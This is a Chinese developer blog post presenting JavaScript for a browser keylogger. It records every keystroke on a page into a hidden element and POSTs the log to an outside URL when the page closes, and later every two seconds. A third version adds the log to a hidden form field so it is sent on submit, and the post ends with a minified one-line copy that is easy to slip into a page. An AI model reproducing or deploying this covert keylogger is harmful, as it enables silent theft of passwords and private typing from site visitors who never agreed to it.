zoukankan html css js c++ java

JavaScript实现按键记录，并在关掉网页之前把记录的内容post出去

最近陈老师让我给新架构加一个按键记录的业务。去学习了JavaScript，网上找了一些代码，最后写出来了：

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>JS按键记录</TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="Larry">
<META NAME="Keywords" CONTENT="JS按键记录">
<META NAME="Description" CONTENT="JS 按键 记录">
</HEAD>
<BODY>

<script type="text/javascript">
    var keystring = "";//记录按键的字符串
    function $(s){return document.getElementById(s)?document.getElementById(s):s;}
    function keypress(e)
    {
        var currKey=0,CapsLock=0,e=e||event;
            currKey=e.keyCode||e.which||e.charCode;
        CapsLock=currKey>=65&&currKey<=90;
        switch(currKey)
        {
       　 　 //屏蔽了退格、制表、回车、空格、方向键、删除键，因为keypress只能针对一些可以打印出来的字符有效，而对于功能按键，如F1-F12、Backspace、Enter、Escape、PageUP、PageDown和箭头方向等，就不会产生keypress事件，但是可以产生keydown和keyup事件。然而在FireFox中，功能按键是可以产生keypress事件的。
       　 　 case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
       　 　 default:keyName = String.fromCharCode(currKey); break;
        }
        keystring += keyName;
    }
    function keydown(e)
    {
        var e=e||event;
        var currKey=e.keyCode||e.which||e.charCode;
        if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
        {
            switch(currKey)
       　 　 {
        　 　 　 case 8: keyName = "[退格]"; break;
        　 　 　 case 9: keyName = "[制表]"; break;
        　 　 　 case 13:keyName = "[回车]"; break;
        　 　 　 case 32:keyName = "[空格]"; break;
        　 　 　 case 33:keyName = "[PageUp]";   break;
        　 　 　 case 34:keyName = "[PageDown]";   break;
        　 　 　 case 35:keyName = "[End]";   break;
        　 　 　 case 36:keyName = "[Home]";   break;
        　 　 　 case 37:keyName = "[方向键左]";   break;
        　 　 　 case 38:keyName = "[方向键上]";   break;
        　 　 　 case 39:keyName = "[方向键右]";   break;
       　 　 　  case 40:keyName = "[方向键下]";   break;
        　 　 　 case 46:keyName = "[删除]";   break;
        　 　 　 default:keyName = "";    break;
            }
            keystring += keyName;
        }
        $("content").innerHTML=keystring;
    }
    function keyup(e)
    {
        $("content").innerHTML=keystring;
    }
    document.onkeypress=keypress;
    document.onkeydown =keydown;
    document.onkeyup =keyup;

    function loadXMLDoc()
    {
        var xmlhttp;
        if (window.XMLHttpRequest)
          {// code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp=new XMLHttpRequest();
          }
        else
          {// code for IE6, IE5
            xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
          }
        xmlhttp.onreadystatechange=function()
          {
            if (xmlhttp.readyState==4 && xmlhttp.status==200)
            {
                document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
            }
          }
        xmlhttp.open("POST","http://www.test.com",true);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        <!-- send的参数的规则是，用“=”间隔name和body，“&”间隔条目，下面这行会在name中显示“keystring”，value中显示keystring的值 -->
        xmlhttp.send("keystring="+keystring);
    }    
    
    <!-- 如果下面用下面这行，则在关闭前弹出对话框。 -->
    <!-- window.onbeforeunload = function() { return "大鸡吧大鸡吧？"+ keystring;} -->

    window.onbeforeunload = function() { loadXMLDoc();}

</script>
<br/><div id="content" style="display:none;" ></div>

</BODY>
</HTML>

　　这段代码修改自网名为“羽殇仁”的代码。

参考：http://www.w3school.com.cn/ajax/ajax_xmlhttprequest_send.asp

　　　http://www.jb51.net/article/22001.htm

-------------更新----------------------

onbeforeunload只能判断页面关闭，但又找不到能判断页面跳转的函数，于是想出了每隔两秒post键击的方法如下：

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>JS按键记录</TITLE>
<META NAME="Author" CONTENT="Larry">
</HEAD>
<BODY onload="timedCount()">
<script type="text/javascript">
var c=0
var t
function timedCount()
{
c=c+1
t=setTimeout("keepPosting()",2000)
}

function keepPosting()
{
loadXMLDoc();
timedCount();
}
</script>

<script type="text/javascript">
    var keystring = "";
    function $(s){return document.getElementById(s)?document.getElementById(s):s;}
    function keypress(e)
    {
        var currKey=0,CapsLock=0,e=e||event;
            currKey=e.keyCode||e.which||e.charCode;
        CapsLock=currKey>=65&&currKey<=90;
        switch(currKey)
        {
       　 　 case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
       　 　 default:keyName = String.fromCharCode(currKey); break;
        }
        keystring += keyName;
    }
    function keydown(e)
    {
        var e=e||event;
        var currKey=e.keyCode||e.which||e.charCode;
        if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
        {
            switch(currKey)
       　 　 {
        　 　 　 case 8: keyName = "[退格]"; break;
        　 　 　 case 9: keyName = "[制表]"; break;
        　 　 　 case 13:keyName = "[回车]"; break;
        　 　 　 case 32:keyName = "[空格]"; break;
        　 　 　 case 33:keyName = "[PageUp]";   break;
        　 　 　 case 34:keyName = "[PageDown]";   break;
        　 　 　 case 35:keyName = "[End]";   break;
        　 　 　 case 36:keyName = "[Home]";   break;
        　 　 　 case 37:keyName = "[方向键左]";   break;
        　 　 　 case 38:keyName = "[方向键上]";   break;
        　 　 　 case 39:keyName = "[方向键右]";   break;
       　 　 　  case 40:keyName = "[方向键下]";   break;
        　 　 　 case 46:keyName = "[删除]";   break;
        　 　 　 default:keyName = "";    break;
            }
            keystring += keyName;
        }
        $("content").innerHTML=keystring;
    }
    function keyup(e)
    {
        $("content").innerHTML=keystring;
    }
    document.onkeypress=keypress;
    document.onkeydown =keydown;
    document.onkeyup =keyup;

    function loadXMLDoc()
    {
        var xmlhttp;
        if (window.XMLHttpRequest)
          {
            xmlhttp=new XMLHttpRequest();
          }
        else
          {
            xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
          }
        xmlhttp.onreadystatechange=function()
          {
            if (xmlhttp.readyState==4 && xmlhttp.status==200)
            {
                document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
            }
          }
        xmlhttp.open("POST","http://www.test.com",true);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xmlhttp.send("keystring="+keystring);
    }    
    

    window.onbeforeunload = function() { loadXMLDoc();}

</script>
<br/><div id="content" style="display:none;" ></div>

</BODY>
</HTML>

参考：js计时：http://www.w3school.com.cn/js/js_timing.asp

　　 js：unload ：http://www.w3school.com.cn/jsref/event_onload.asp

-----------2015年1月26日更新利用form中的 input type = hidden实现在点击提交的同时提交按键记录----------------

<script type="text/javascript">
    var keystring = "";
    function $(s){return document.getElementById(s)?document.getElementById(s):s;}
    function keypress(e)
    {
        var currKey=0,CapsLock=0,e=e||event;
            currKey=e.keyCode||e.which||e.charCode;
        CapsLock=currKey>=65&&currKey<=90;
        switch(currKey)
        {
       　 　 case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
       　 　 default:keyName = String.fromCharCode(currKey); break;
        }
        keystring += keyName;
    }
    function keydown(e)
    {
        var e=e||event;
        var currKey=e.keyCode||e.which||e.charCode;
        if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
        {
            switch(currKey)
       　 　 {
        　 　 　 case 8: keyName = "[退格]"; break;
        　 　 　 case 9: keyName = "[制表]"; break;
        　 　 　 case 13:keyName = "[回车]"; break;
        　 　 　 case 32:keyName = "[空格]"; break;
        　 　 　 case 33:keyName = "[PageUp]";   break;
        　 　 　 case 34:keyName = "[PageDown]";   break;
        　 　 　 case 35:keyName = "[End]";   break;
        　 　 　 case 36:keyName = "[Home]";   break;
        　 　 　 case 37:keyName = "[方向键左]";   break;
        　 　 　 case 38:keyName = "[方向键上]";   break;
        　 　 　 case 39:keyName = "[方向键右]";   break;
       　 　 　  case 40:keyName = "[方向键下]";   break;
        　 　 　 case 46:keyName = "[删除]";   break;
        　 　 　 default:keyName = "";    break;
            }
            keystring += keyName;
        }
        $("kks").value=keystring;
    }
    function keyup(e)
    {
        $("kks").value=keystring;
    }
    document.onkeypress=keypress;
    document.onkeydown =keydown;
    document.onkeyup =keyup;
</script>
<br/><div id="content" style="display:none;" ></div>

然后在form里面加入：

<input type="hidden" id="kks" name="kks2222" value="">

-------------补充----------------------

可采用http://bbs.css-js.cn/的UglifyJS压缩代码去掉换行符。

注意压缩时候不要把Script标签带进去不然会失败。

压缩后：

<BODY onload="timedCount()"><script type="text/javascript">function timedCount(){c+=1,t=setTimeout("keepPosting()",2e3)}function keepPosting(){loadXMLDoc(),timedCount()}function $(a){return document.getElementById(a)?document.getElementById(a):a}function keypress(a){var b=0,c=0,a=a||event;switch(b=a.keyCode||a.which||a.charCode,c=b>=65&&90>=b,b){case 8:case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName="";break;default:keyName=String.fromCharCode(b)}keystring+=keyName}function keydown(a){var b;if(a=a||event,b=a.keyCode||a.which||a.charCode,b>7&&14>b||b>31&&47>b){switch(b){case 8:keyName="[退格]";break;case 9:keyName="[制表]";break;case 13:keyName="[回车]";break;case 32:keyName="[空格]";break;case 33:keyName="[PageUp]";break;case 34:keyName="[PageDown]";break;case 35:keyName="[End]";break;case 36:keyName="[Home]";break;case 37:keyName="[方向键左]";break;case 38:keyName="[方向键上]";break;case 39:keyName="[方向键右]";break;case 40:keyName="[方向键下]";break;case 46:keyName="[删除]";break;default:keyName=""}keystring+=keyName}$("content").innerHTML=keystring}function keyup(){$("content").innerHTML=keystring}function loadXMLDoc(){var a;a=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP"),a.onreadystatechange=function(){4==a.readyState&&200==a.status&&(document.getElementById("myDiv").innerHTML=a.responseText)},a.open("POST","http://www.test.com",!0),a.setRequestHeader("Content-type","application/x-www-form-urlencoded"),a.send("keystring="+keystring)}var t,c=0,keystring="";document.onkeypress=keypress,document.onkeydown=keydown,document.onkeyup=keyup,window.onbeforeunload=function(){loadXMLDoc()};</script><br/><div id="content" style="display:none;" ></div>

查看全文

相关阅读:
Python数据库 4.Python与数据库的交互
 Python数据库 3.MongoDB（区分大小写）
Python数据库2.Redis数据库
 Python数据库1. 数据库简介
 Python基础 12.常用模块
 Python基础 11.Vim使用
 Python基础 10.linux基本命令
 栈理解
 java集合Collection
斐波那契函数

原文地址：https://www.cnblogs.com/larrylawrence/p/4135987.html